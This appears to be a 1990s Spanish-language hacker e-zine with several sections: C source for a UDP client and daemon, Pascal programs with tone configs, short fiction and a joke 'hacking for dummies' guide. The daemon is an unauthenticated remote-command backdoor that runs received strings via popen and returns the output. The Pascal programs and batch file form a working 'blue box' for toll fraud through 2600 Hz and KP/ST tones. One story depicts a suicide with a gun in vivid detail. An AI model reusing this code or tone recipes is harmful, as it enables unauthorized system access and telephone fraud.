    bcopy(h->h_addr, &it.sin_addr, h->h_length);
    it.sin_port = htons(PORT);

    for (m.m_buf[0]=0, i=2; i<argc; i++) {
 strcat(m.m_buf, argv[i]);
 strcat(m.m_buf, " ");
    }
#ifdef VERBOSITY
    fprintf(stderr, "host: %s, command %s\n", argv[1], m.m_buf);
#endif
    if (sendto(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, sizeof it) < 0) {
 perror("send failed");
 exit(6);
    }
    namelen = sizeof(it);
    alarm(30);
    signal(SIGALRM, catch);
    for (seq=0; ; ++seq) {
 recvfrom(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, &namelen);
 m.m_seq = ntohl(m.m_seq);
 bytes += sizeof(m);
 m.m_size = ntohl(m.m_size);
 if (m.m_seq == -1) {
     if (m.m_size)
#ifdef VERBOSITY
        fprintf(stderr, "Error @$#!@$#: %#x (lo pario!)\n", m.m_size);
#endif
        break;
 }
 if (m.m_seq != seq) {
     if (seq < m.m_seq)
#ifdef VERBOSITY
        fprintf(stderr, "**> %d paquete(s) garchados\n", m.m_seq - seq);
#endif

        else
#ifdef VERBOSITY
        fprintf(stderr, "**> recibi seq=%d y esperaba seq=%d, fuck!\n",
#endif
        m.m_seq, seq);
     seq = m.m_seq;
 }
 printf("%.*s", m.m_size, m.m_buf);
    alarm(15);  /* lurk por un rato */
    }
    catch();
}

void catch()
{
#ifdef VERBOSITY
    fprintf(stderr, "%d bytes recibidos\n", bytes);
#endif
}

---------------------------------endp--------------------------------------

-------------------------------udpcmdd.c-----------------------------------

#include "udpcmd.h"
struct sockaddr_in me, it;

main(argc, argv)
    char** argv;
{
    msg m;
    int sock, namelen, seq = 0;
    struct hostent* h;
    FILE* f;

    if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
    perror("socket");
    exit(2);
    }
    if (argc > 1) {
    if (!(h = gethostbyname(argv[1]))) {
        perror("gethost");
        exit(3);
    }
    }
    else {
    if (!(h = gethostbyname("localhost"))) {
        perror("gethost");
        exit(3);
    }
    }
    bzero(me, sizeof(me));
    me.sin_family = AF_INET;
    me.sin_port = htons(PORT);
    bcopy(h->h_addr, &me.sin_addr, h->h_length);
    if (bind(sock,(struct sockaddr *) &me, sizeof(me)) < 0) {
    perror("bind");
    exit(3);
    }
    if (fork())
    exit(0);    /*DEBUG*/
    for ( ;; ) {
    int namelen = sizeof(it);
    int seq;
    register len;

    if (recvfrom(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, &namelen /* , 0 */ ) < 0) {
        perror("recvfrom");
        exit(9);
    }
    if (!(f = popen(m.m_buf, "r")))
        goto done;
    for (seq=0; len = getbuf(m.m_buf, f); ++seq) {
        m.m_seq = htonl((long)seq);
        m.m_size = htonl(len);
        sendto(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, namelen);
    }
done:
    m.m_size = htonl((pclose(f)>>8) & 0xff);
    m.m_seq = htonl(-1);
    sendto(sock, &m, sizeof(m), 0,(struct sockaddr *) &it, namelen);
    }
}
 

getbuf(s, f)
    char *s;
    FILE *f;
{
    static buf[MBUFSIZ];
    static usebuf = 0;
    static len;
    register used;

    if (usebuf) {
    strncpy(s, buf, len);
    used = len;
    }
    else
    used = 0;
    for ( ;; ) {
    if (!fgets(buf, sizeof(buf)-1, f)) {
        usebuf = 0;
        return used;
    }
    buf[sizeof(buf)-1] = 0;
    if ((len = strlen(buf)) <= (MBUFSIZ - used)) {
        strncpy(&s[used], buf, len);
        used += len;
    }
    else {
        usebuf = 1;
        return used;
    }
    }
}

---------------------------------endp--------------------------------------

-------------------------------udpcmd.h------------------------------------
#include <stdio.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT           6666
#define MBUFSIZ  800

typedef struct {
    int m_size;
    int m_seq;
    char m_buf[MBUFSIZ];
} msg;

---------------------------------endp--------------------------------------
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x01040006 - READSHIT
=====================
    Esto es ReadShit, textos y basura afin... para pasar un mal rato antes
de sequir por HBO  (Inter 1/2)

NONAME.ASC
----------
by Janx Spirit

    Las paletas del ventilador cruzaban una y otra vez mi campo de vision
interrumpiendo cualquier intento de concentracion en algo diferente a nada.
Una vision recurrente en mi vida.

    El techo blanco. Un blanco de cal, no de esmalte sintetico. Un techo
pintado a la cal, un ventilador blanco colgando de algunos bulones que
parecen tener mas a¤os que mi persona. No se siente ningun viento, es muy
posible que las paletas no lo generen. Se mueven a esa exacta velocidad
que, combinadas con el cielorraso, dan esa caracteristica impresion de
estar muriendose de calor en algun lugar de Colombia.

    Algo se cruza en mi mente, no logro averiguar que. Como suele pasar
olvido todo indicio de pensamiento antes de llegar a una conclusion. Asi es
mas facil. Asi me fue mas facil siempre.

    La navaja es algo que suele matar mucho de mi tiempo. Abrirla y
cerrarla en metodicos y reiterativos movimientos. Una y otra vez. Asi hasta
que encuentro algo distinto en que aburrirme.

    La computadora no. Asi de simple, no. Aunque, no se porque, esta
encendida y algo se mueve en la pantalla.

    Pero no todo en mi vida sigue estos pasos. Hay veces en las cuales
siento alguna necesidad de pensar para entender. Oportunidades en las
cuales mi tiempo no aparenta estar detenido. Momentos en los que el
ventilador de techo recupera su velocidad normal y dudo si mi techo esta
pintado a la cal o con esmalte.

    Si, definitivamente. Hay veces que en HBO pasan buenas peliculas.
 

NICE.TXT
--------
by Saltamontes

  Fue despues de cortar su cabello. Lo habia imaginado antes, pero
ocurrio despues. Todos esos reflejos pictoricos de sus fantasias se habian
transformado, se habian mudado de dimension; su inteligencia tambien habia
cambiado de forma, y ahora jugaba a interpretarse a si misma. Si hubiese
intentado cuantificar el tiempo transcurrido, entre el corte de pelo y su
suicidio, posiblemente se hubiera encontrado sumergido en un bucle
extra¤o. Ese intervalo habia sido finito y es infinito.

  Tomo su libro de Mishima, encendio el radiocassete y se sento en su
sillon favorito. Acariciando su nueva pelada cabeza y experimentado con
las emociones generadas por sus flamantes formas interiores, comenzo a
mirar las palabras estampadas en su barata y popular edicion.
  La memoria se mantenia intacta, los recuerdos de aquellas emociones
generaban otras nuevas...imposibles de imaginar momentos atras. Cada
elemento de la realidad era ahora diferente.

  Se levanto tirando el libro al suelo. De las paginas brotaban lagrimas
invisibles, era el llanto de un espectador impotente. Entonces, sin sentir
sus pies humedos - sino debiles, tomo la pistola e introduciendola en su boca
la abrazo con la lengua.
  Fue justo despues de disparar cuando tomo la navaja y rapo su cabeza. Todo
habia cambiado, su inteligencia habia tomado otra forma, sus fantasias se
mudaron de dimension.

             Salta
             (0$-07-94)
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================

0x01040007 - KP: El Primer Blue Boxer por Speaker.
=================================================
  El siguiente programita, permite reproducir samples de 8-bit (definicion
real de 6) por el speaker de una PC y por conversor D/A en port paralelo
(si, lo puede usar con su comPUSound). Usado correctamente se convierte en
un blueboxer de bolsillo. El archivo de configuracion KPLAY.CFG define una
correspondencia tecla-samples, y de numeros de telefono. Ademas permite el
manejo de strings de incializacion y discado para modems. (eso es en la
version 2.0 que todavia no esta indentada(n.de los e.))
 

(*
   KP.PAS coded by [ME]
*)

Program  KP;

Uses
  Crt,
  Dos;

Type
  DArray = Array [ 0 .. 48000 ] Of Byte;

Var
  MaxKey : Integer;
  Keys: Array [ 1 .. 250 ] Of String[60];

  Vol    : Byte;
  Buf    : Darray;
  P      : Word;
  Old    : Pointer;
  OldProc: Procedure;
  Min,Pos: Integer;
  BufKey : String;
  SS     : String;

Procedure irq8; Assembler;
Asm
  push  ax
  push  ds
  push  si

  mov   ax,seg p
  mov   ds,ax
  mov   si,word ptr ds:p
  cmp   si,0
  jz    @fin
  inc   word ptr ds:p
  inc   word ptr ds:p

  mov   al,[si]
  mul   byte ptr ds:vol
  mov   al,ah

  out   42h,al
  xor   al,al
  out   42h,al
  mov   al,3
  out   61h,al

@fin:
  mov   al,20h
  out   20h,al

  pop   si
  pop   ds
  pop   ax
  iret
End;

Procedure Done;
Begin
  Port[$40]:=0;
  Port[$40]:=0;
  SetIntVec($8,Old);
End;

Procedure NewExitProc; Far;
Begin
  ExitProc:=@OldProc;
  Done;
  Port[$61]:=Port[$61] And 252;
End;
 

Procedure Init;
Var
  F : Text;
Begin
  ClrScr;
  Min:=1;
  Pos:=1;
  BufKey:='';
  @OldProc:=ExitProc;
  ExitProc:=@NewExitProc;
  Vol:=55;
  Assign(F,'KPLAY.CFG');
  Reset(F);
  MaxKEy:=0;
  While (Not (Eof(F))) And (MaxKey<250) Do
    Begin
      Inc(MaxKey);
      ReadLn(F,Keys[MaxKey]);
    End;
  Close(F);
  Asm
    cli
  End;
  GetIntVec($8,Old);
  SetIntVec($8,@irq8);
  Port[$61]:=Port[$61] Or 3;
  Port[$40]:=54;
  Port[$40]:=0;
  Port[$43]:=$B0;
  Asm
    Sti
  End;
  SS:='                                       & ';
End;
 
 

Var
  F : File;
  X : Word;
  G : Word;
  Z : Word;
  Ch: Char;

Procedure PlayIt;
Begin
  X:=1;
  While (X<=MaxKey) And ((Ch<>Keys[X,1]) Or (Keys[X]='') Or (Keys[X,1]=' ')) Do Inc(X);
  If X<=MaxKEy Then
    Begin
      Assign(F,Copy(Keys[X],3,Length(Keys[X])-2));
      {$I-}
      Reset(F,1);
      {$I+}
      If IOResult=0 Then
        Begin
          BlockRead(F,Buf,32768,G);
          Close(F);
          G:=G+Ofs(Buf);
          P:=Ofs(Buf)+1;
          asm
             mov dx,378h
      @1:    mov si,word ptr ds:p
             mov al,[si]
             out dx,al
             cmp si,g
             jbe @1
          End;
          P:=0;
        End;
    End;
End;

Procedure Show;
Var
  X : Integer;
Begin
  GotoXY(1,1);
  X:=Min;
  While (WhereY<20) Do
    Begin
      If Pos=X Then
        Begin
          TextColor(Blue);
          TextBackGround(White);
        End Else
        Begin
          TextColor(LightGray);
          TextBackGround(Black);
        End;
      WriteLn(Copy(Keys[X]+'                                &n ',1,60));
      X:=X+1;
    End;
  TextAttr:=7;
  WriteLn;
  WriteLn('VOL(+/-): ',Vol);
  Write(SS);
End;

Begin
  Init;
  Show;
  Repeat
    P:=0;
    Show;
    If BufKey='' Then
      Begin
        Ch:=UpCase(ReadKey);
        Case Ch Of
          '-' : Dec(Vol);
          '+' : Inc(Vol);
          #13 :
              If Keys[Pos,1]='#' Then
                Begin
                  BufKey:=Keys[Pos];
                  Delete(BufKey,1,System.Pos('|',BufKey));
                End Else
                BufKey:=Keys[Pos,1];
          #0  :
            Begin
              Ch:=ReadKey;
              Case Ch Of
                #72 : Dec(Pos);
                #80 : Inc(Pos);
                #81 : Inc(Pos,19);
                #73 : Dec(Pos,19);
                #71 : Pos:=1;
                #79 : Pos:=MaxKey;
              End;
              If Pos>MaxKey Then Pos:=MaxKey;
              If Pos<1 Then Pos:=1;
              If Pos<Min Then Min:=Pos;
              If Pos>Min+18 Then Min:=Pos-18;
              Ch:=#0;
            End;
          End;
      End Else
      Begin
        Ch:=BufKey[1];
        Delete(BufKey,1,1);
      End;
    If Ch In ['A'..'Z','a'..'z','0'..'9',' '] Then
      Begin
        Delete(SS,1,1);
        SS:=SS+Ch;
      End;
    PlayIt;
  Until Ch=#27;
  Done;
End.
 

(*
GEN.PAS  coded by [ME]
*)
 

Program Gen;

Const
  FS = 1.19318e6/27;

Var
  F1A,F1B,F2A,F2B : Word;
  D1,D2,D,DD : Word;

  Buf : Array [ 0 .. 48000 ] Of Byte;
  X   : Word;
  F   : File;
 

Function Val(S : String) : Word;
Var
  X,Y : Integer;
Begin
  System.Val(S,X,Y);
  Val:=X;
End;

Begin
  WriteLn('GEN <FILENAME> <F1A> <F1B> <D1> <D> <F2A> <F2B> <D2> <DD>');
  F1A:=Val(ParamStr(2));
  F1B:=Val(ParamStr(3));
  D1:=Round(Val(ParamStr(4))*FS/1000);
  D:=Round(Val(ParamStr(5))*FS/1000)+D1;
  F2A:=Val(ParamStr(6));
  F2B:=Val(ParamStr(7));
  D2:=Round(Val(ParamStr(8))*FS/1000)+D;
  DD:=Round(Val(ParamStr(9))*FS/1000)+D2;
  If DD>48000 Then
    Begin
      WriteLn('Error: Too much time');
      Halt;
    End;
  For X:=0 To D1 Do
    Begin
      Buf[X]:=Round( 60*Sin(X/FS*F1A*PI*2) + 60*Sin(X/FS*F1B*PI*2) + 128 );
      If X Mod 1000 = 0 Then Write('.');
    End;
  For X:=D1+1 To D Do
    Begin
      Buf[X]:=128;
      If X Mod 1000 = 0 Then Write('.');
    End;
  For X:=D+1 To D2 Do
    Begin
      Buf[X]:=Round( 60*Sin(X/FS*F2A*PI*2) + 60*Sin(X/FS*F2B*PI*2) + 128 );
      If X Mod 1000 = 0 Then Write('.');
    End;
  For X:=D2+1 To DD Do
    Begin
      Buf[X]:=128;
      If X Mod 1000 = 0 Then Write('.');
    End;
  WriteLn('Done!:',DD);
  Assign(F,ParamStr(1));
  ReWrite(F,1);
  BlockWrite(F,Buf,DD,D);
  Close(F);
End.

void *Condiciones_de_la_licencia(void) {
   Los programas . solo podran ser utilizados si se cumplen estrictamente
las condiciones_de_la_licencia();

   1- ninguno de los programas provistos en este paquete seran utilizados
   sin excepcion si el usuario en cuestion no introduce modificaciones
   insignificantes y una nota de copyright propia.

   2- queda terminantemente prohibida la distribucion gratuita de este
   software a amigos personales, quedando exceptuados de esta medida los
   que demuestren fehacientemente no conocerse en lo mas minimo, odiarse, o
   haberlo afanado mientras el mejor amigo dormia.

   disclaimer:
        sin duda el presente programa no existe, porque nosotros confiamos
        plenamente en la opinion de el griton que dijo:
        "no se puede boxear por speaker, por que no podes generar los tonos
        de 2600 - 2400".
                                         [ME]

Pd:  usen  el gen.pas para generar los tonos...
     y el kp.pas para boxear.

}

Nota de HBO:
{
   Este programa fue galardonado con el premio "Editors choice for
   excelence 1994", y para que sea mas facil descular como se usa les
   cuento un par de cosas...
   necesitan un archivo kp.cfg tipo este:
 

---------------------------- KP.CFG -------------------------------

             ÚÄÄÄÄÄÄÄÄÄ Toll frees ÄÄÄÄÄÄÄÄ¿
             ³  AT&T    00-1-800-200-1111  ³
             ³  MCI     00-1-800-333-1111  ³
             ³  SPRINT  00-1-800-777-1111  ³
             ³  ESPA¥A  00-34-800-444-111  ³
             ³  ITALIA  00-39-800-555-111  ³
             ³  BRASIL  00-55-800-666-111  ³
             ³  CHILE   00-56-800-888-111  ³
             ³  FRANCIA 00-33-800-999-111  ³
             ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

 ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
 ³                      Telefonos                         ³
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

# Musimundo   (argentina)     | B 540 1 555-5555 C ZZZ
# Sacoa-server (tarjetas)     | B 540 1 312-1515 C ZZZ
# Pizzeria     (CRE)          | B 540 1 383-     C ZZZ
# STARTEL - CENTRAL PUERTO    | B 540 1 658-7983 C ZZZ
# y asi sucesivamente
# add your own
# and have fun
# if you want
# or maybe,
# just maybe
# YOU CANT

Q ESP.BB
W MCI.BB
E AT&T.BB
R FR.BB
Z ECHO.BB
X 2600.BB

0 0.BB
1 1.BB
2 2.BB
3 3.BB
4 4.BB
5 5.BB
6 6.BB
7 7.BB
8 8.BB
9 9.BB
A KP1.BB
B KP2.BB
C ST.BB
-------------------------------------------------------------------

y para generar los tonos pueden usar un .bat tipo el siguiente:

------------------------ YOUSUCK.BAT -------------------------
rem el siguiente es el posta
gen southern-thailand-freqs-for-phreak.bb 2600 2400 300 10 2550 0 75 350

rem supresor de eco
gen echo.bb 2100 0 1000 60 0 0 0 0 60

rem 2600 rulez
gen 2600.bb 2600 0 1000 60 0 0 0 0 60

rem pueden tocar la cancion de telefonica

gen 1.bb 700 900 60 0 0 0 0 60
gen 2.bb 700 1100 60 0 0 0 0 60
gen 3.bb 900 1100 60 0 0 0 0 60
gen 4.bb 700 1300 60 0 0 0 0 60
gen 5.bb 900 1300 60 0 0 0 0 60
gen 6.bb 1100 1300 60 0 0 0 0 60
gen 7.bb 0700 1500 60 0 0 0 0 60
gen 8.bb 0900 1500 60 0 0 0 0 60
gen 9.bb 1100 1500 60 0 0 0 0 60
gen 0.bb 1300 1500 60 0 0 0 0 60

rem kp's y starts ...

gen kp1.bb 1100 1700 120 0 0 0 0 60
gen kp2.bb 1300 1700 120 0 0 0 0 60
gen st.bb 1500 1700 120 0 0 0 0 60
---------------------------- ENDP ------------------------------
 

Que les sea util...
                                         & lbd.
}
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================
 

0x01040008 - Hacking for Dummies #1
===================================
(by Janx Spirit && Logical Backdoor)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                  THIS IS AN HBO FEATURE PRESENTATION:
          HBO Producciones presenta: Hacking for dummies, Vol.1
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

-"I WANNA BE A HACKER, I WANNA BE A HACKER!". You say.
Asi que para todos uds que sentian ese impulso interior, esa necesidad
intelectual de ser COOL les presentamos nuestra nueva coleccion de
lecciones practicas que los llevaran al famoso mundo del undergound
informatico.
Esta coleccion estara compuesta por los siguientes capitulos:

i. INTRODUCCION

--------------------------- PARTE I LO BASICO --------------------
1. COMO PENSAR
2. COMO ACTUAR
3. COMO VESTIRSE
4. COMO COMER (QUE Y DONDE)
5. INTENTIONALY LEFT BLANK
--------------- PARTE II  AHORA ERES UN HACKER -------------------
6. COMO ELEGIR UN ALIAS
7. COMO FORMAR UN GRUPO
8. COMO SELECCIONAR UN BUEN CHAT
9. QUE DECIR EN UN BUEN CHAT PARA TENER  EL
   HACKER LOOK AND FEEL
10. COMO CONSEGUIR AMIGOS COOL QUE NOS PASEN INFO
11. TRADING WAREZ  (AHHH NO,  ESTO NO)
--------------- PARTE III ASISTENCIA AL PROFESIONAL HACKER -------
12. ENTRANDO A LA  CYBER SCENE.
13. ACCESOS ELITE A LOS BBS.
14. CODEZ TRADING.
15. ESCRIBIENDO ARTICULOS PARA LA REVISTA DEL UNDER (LEASE MINOTAURO)
16. COMO ACTUAR EN CONFERENCIAS
17. REFERENCIA TECNICA
----------------- PARTE IIII YA ERES UN GURU----------------------
18. TECNICAS DE MEDITACION HACKER
19. FILOSOFIA DEL GURU (!= FILOSOFIA HACKER(1))
20. COMO ARMARSE DE GROUPIES
21. COMO CAMBIAR DE PERSONALIDAD PARA BORRAR LOS ERRORES DEL PASADO
22. CONSIGUIENDO UTILITARIOS
23. MANTENIMIENTO DE UTILITARIOS
24. TECNICAS DE SUICIDIO EN MASA
25. UNINTENTIONALY LEFT BLANK

--------------------------- APENDICE A ---------------------------
I. PROGRAMAR O NO PROGRAMAR
II. DICCIONARIO DE TERMINOS
III. APENDICE A DEL APENDICE A (THE SAME OLD JOKE)

notas al pie:
(1) != significa 'distinto', 'no igual', dicese de aquello que no se parece
ni un poquito a alguna otra cosa con la que se lo relaciona (n. de los a.)
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                              INTRODUCCION

La idea de este articulo es, ehhhh, hmmmm, ahhh.
nbah prometimos  solemnemente que en hbomag 4-5-6 y sucesivos numeros no
ibamos a decir tantas huevadas, y  a cambio ibamos a escribir mas articulos
tecnicos. Pero nos encontramos con un problema:
no hay nadie que entienda los articulos tecnicos que se escriben en hbomag
(sic)
a si que si por lo menos escribimos algo de basura para matizar, bueno yo
creo que con eso nos va a leer  mas gente (teoria de los medios de
comunicacion del chacal, ver nota -Habla un Idolo-). bueno esteee.
ahh, ya que hay un bunch de pelotuditos que llaman a los bbss queriendo ser
como nosotros... (eso dicen, en serio) bueno, aca van una serie de
anecdotas ocurridas en la realidad(si es que eso existe(1)), en la forma de
libro de referencia, para llevar en el bolsillo de adelante junto con la
calculadora y los rotrings, consultar y encontrar una salida facil en
cualquier situacion que requiera que ustedes demuestren  que son hackers.
Cualquier persona esta autorizada a citar estas frases, pero por favor no
en nuestra presencia.

Notas:
(1) Janx  Spirit:  Eso de que  si la realidad existe fue un comentario de
    hippie violento.
    Logical Backdoor: el hippie violento soy yo (aha).
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                      PARTE I  -  LAS BASES

1. COMO PENSAR:

   Logica, curiosidad e inteligencia, y una mente dispuesta a conocer los
   limites de su propia capacidad y llevarlos un paso mas alla. (aha)

La mente del hacker debe funcionar cumpliendo los siguientes requisitos:

Mente algoritmica de las 4 am.
Situacion: por ser la  primer anecdota les vamos a explicar la situacion
con lujo de detalles.(foolproof que le  dicen).
Estabamos los 4 (Janx, Opii, Salta, Lbd) y algun extra (Pelaca???) buscando
un chinolibre (lease Restaurant chino de Tenedor Libre, ver punto 3.), por
el barrio de belgrano, y cuando Lbd (yo (1))(yo no(2)) quiso describir como
encontrar  una calle regurgito lo siguiente:
       AVANZA
       SI LA CALLE DE LA ESQUINA ES LA CALLE X: FRENA
       SINO REPETIR.
 

(no shit!)

este comentario fue absorbido con naturalidad por los otros tres miembros del
hbo-staff, pero Pelaca?? nos lo hizo notar, anecdota jamas olvidada.

Analisis deductivo de las ganas de salir:
conversacion entre lbd y Janx:
J- Pero... si en NY (3) fuera tan peligroso salir a las tres de la manana,
estarian todos muertos...
(cuadro siguiente janx y lbd recorriendo la octava avenida hasta morir en
una pizzeria de mala muerte pasando el central park (pizza-guy))

Logica Inductiva de conversacion en fiesta (con mujeres  y musica y todo
eso ehh)(4):
Conversacion entre  Azrael y XXX acerca de las SuperNintendo.
Azrael: tienen que tener un bus para los cartuchos, y todo eso, por que hay
cartuchos con DSP...
(estabamos hablando de que debia ser mas facil el metodo de
direccionamiento de una NES que el de una PC)
XXX: y... tantos pines no van a ser de alimentacion no?

Probabilistica de la mala suerte.
frase preferida  de Janx: y... pero si vamos en cana no tendria gracia, asi
que no vamos a ir en cana.

Rebeldia filosofica.
entrevista con periodista de pagina/x.
despues de bardearla durante dos horas, y de hacerle creer que los hackers
son gente buenita.
lbd: - te conte mi teoria de que matar esta bien?? (n+1)(6)

Compresion de comentarios.
8 am. despues de haber pasado toda la noche programando y compilando unos
backdoors en un lugar(ehem), [ME](7)  estaba escribiendo una linea en C (8)
por demas larga en el command stack del telemate, y despues de  haber
tipeado como 90 caracteres, Opii  que estaba vegetando en una  silla un
poco mas atras se inclina hacia adelante y dice:
- NO
a lo que [ME] se da vuelta, se vuelve a dar vuelta, y sin decir una
palabra vuelve con el cursor cuarenta espacios para atras y corrige el
error (que no era sintactico, sino logico).

Notas al pie:
(1) con yo nos referimos a Logical Backdoor (lbd)
(2) con yo no nos referimos a Janx Spirit (jnx)
(3) NY: the Big Apple, con todos los gusanos que viven en las calles, esta
anecdota data de la epoca de HOPE 94.
(4) Fiesta: lo mas comun es que durante una fiesta con alcohol, musica,
mujeres(9) (ese tipo de gente que nos detesta), elijamos el alcohol y nos
sentemos a un lado a charlar de la vida (lease computadora), y despues de
las 5, y de la quinta botella, y del mate de ginebra, confundamos el
for(11) con el fork(2(12))(13).
(5) Janx: ustedes saben que es un hippie violento.
    lbd: para una proxima hbomag les prometo contar toda la teoria, en la
    seccion carta de lectores (si, la que no hay).
(6) (n+1) se  refiere a que era la anterior mas uno, termino habilmente
usado por los programadores, podria haber sido reemplazado por (n++) sin
problemas (ANSI C compatible), pero asi tiene un sentido mas intuitivo y es
matematicamente mas prolijo. Para el Lector interesado piense el siguiente
statement:                 n=n+1    FALSO.

(7) [ME], que no soy yo(1), ni yo(2), pero si el, que ahora no esta aca pero
no importa, permanece en nuestras mentes y en nuestros corazones, pero no
se murio, se fue de viaje boludo, boludo. detodasmaneras es el alias de un
tipo que no leyo el capitulo 6.
(8) C: Lenguaje de  programacion, que no viene al caso en este momento,
ver Kernighan & Richie.
(9) mujer: animal omnivoro, puede enseniarsele a callar (Ambrose Bierce,
diccionario del diablo (10)).
(10) ftp::/losers/files/varios/devils.tgz
(11) for: palabra reservada, bucle.  ii. en C herramienta potentisima que
supera las peores fantasias de sus creadores, ver concurso HBOMAG-5.
(12) con el (2) nos referiamos a la seccion de los man pages.
(13) fork: instruccion destinada a tener hijos, vease cojer, o mejor
reproduccion celular.
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

2. COMO ACTUAR

Como Bruce Willis en El ultimo Boy Scout.
como Mickey Rourke en Harley Davidson y Marlboro Man (y si te sale nueve
semanas y media tambien)
como Case en Neuromancer
como Wesley Snipes en New Jack City (0)(you are a murderer Nino)

resumen: be tough and cool
 

Estas anecdotas deben ser tomadas para sacar un pattern de comportamiento
en comun de todas ellas y procesadas, despues pasate horas frente al espejo
diciendo: teviallenarlacaradededos con cara de malo.

- Respuestas habiles a provocaciones.
Opii: Te via(1) llenar la cara de dedos.
Salta: no me jodan, tengo problemas.
general: te via hackear el orto

- Defensa personal.
como somos hombres de religion, y las fotos roban el espiritu, enfin.
en la gonzocon 94, cuando un periodista brazuca  quiso llevarse un recuerdo
fotografico de nuestros maravillosos seres, y janx y lbd nos encontrabamos
justamente jugando con un matafuegos (por si todavia no sabian quien fue),
y bueno... creo que se tuvo que ir a limpiar los lentes de la camarita.

- Como llevar un programa cuando no tenes disquetes.
una noche que ibamos a pasar a visitar a azrael por su casa, estabamos
Opii, Janx, Backdoor y [ME](si [ME], es el alias) en casa de Backdoor (mia)
y decidimos hacerle una joda, escribimos un programita en asm que se
colgaba de la interrupcion de escritura de disco y devolvia Ok, pero como
no teniamos un diskette en buen estado para llevarlo, lo uuencodeamos(2),
lo dividimos en cuatro partes, y cada uno se acordo una, algo asi como
basura... y cuando llegamos a lo de Az, le enseniamos el nuevo lenguaje de
programacion por tokens decode, con un ejemplo practico, y despues le
formateamos el rigido (format winchester /autotest) a lo que la maquina
respondio format complete...
 

- PARANOIA.
Mira para todos lados, olfatea debajo de la mesa... se fija si todavia esta
el pelo que pego en el cd-rom, revisa los checksums de los savegames...
cambia por enesimavez su passsword... es:
  OPii, el robot paranoide...
  "Que seas paranoico no significa que NO te esten persiguiendo"
  dice en voz alta...
  y se le nota en los ojitos cada vez que escribimos y/u/o decimos algo...

anecdota...

Opii tenia unos fuentes, que no voy a decir de que son por que lo va a
censurar, pero eran parte de un sistema operativo multiusuario multitarea
comercial. los tenia en una maquina en algun lugar de los estados unidos, y
llego un dia en que los necesito... entonces se logueo en la maquina, llego
hasta el directorio donde los tenia, y me(lbd) empezo a mirar a los ojos...
se mantuvo asi durante 5 minutos, al final de lo cual dijo: NO ME ACUERDO
EL PASSWORD CON EL QUE LOS ENCRIPTE...
todavia hoy no se lo acuerda, si alguien pudo revertir el DES, agradecidos
estaremos...  hehehe(estupido)
 

(3)

Esto es el pie:
(0) vease New Jack City, parte II capitulo 6 y (0.5)
(0.5) Esta bien, lo acepto... mi alias anterior era Nino Brown (lbd)
      (You are a murderer Nino!!!!)

(1) via: contraccion, voy a, inentendible en el original (n. del T.)
(2) uuencodear: verbo y accion de pasar un binario por el uuencode para
poder trasmitirlo por mail, o en este caso acordarselo de memoria.
    Janx: HN!,US2ES`B@!C
    Backdoor: esa FUE LA PARTE DE JANX, y esto paso hace unos 5 meses
    aprox. (mi parte NUNCA LA SABRAN hahahahahahaha)
(3) Notese, para tomar como ejemplo y lograr ser como nosotros, coool y
elite, que el cansancio y el aburrimiento disminuyo considerablemente la
calidad de las anecdotas.
 
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

3. COMO VESTIRSE.

La unica manera de vestirser que le va a demostrar al mundo que sos un real
y verdadero hacker es la siguiente:
toda la linea de remeras HBO...

Telintar anda'cagar
Telescum
Teleforrica
To hell with Startel
y la imperdible...
Sold My Soul to HBO
junto con
Hacked By Owls... So fucking Cool
y la nueva
Hacking For Satan
y la caotica
H B O    mathematica
 
 

disponibles al publico interesado.
Pedir en Losers Joint, retirar en el comando radioelectrico.
 
 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

4. COMO COMER (QUE Y DONDE)

desayuno.
14 - 18 hs.
CocaCola por demas caliente y sin gas y Pizza por demas fria y gomosa(1).
En caso de no tener, limitarse al "que hambre tengo" hasta el almuerzo, pero
nunca (NUNCA) salir a comprar nada antes de que oscurezca.salvo el primero
de enero de 1995, che anda a comprar una pizza.Nos acabamos de enterar que
el 1 de enero de 1995 es feriado, asi que no estaba abierta la pizzeria,
pero de todas maneras habia un delirante que estaba por abrir y nos dijo
que ya nos la mandaba y la conchaquelopario me estoy cagando de hambre
quieromifugazzeta(2). ahhh, y (3).

almuerzo.
14 - 02 hs
Cocacola fria y Pizza caliente.Para recuperarse.
En este lapso uno debe prepararse, estirar un poco el cuerpo, desentumecer
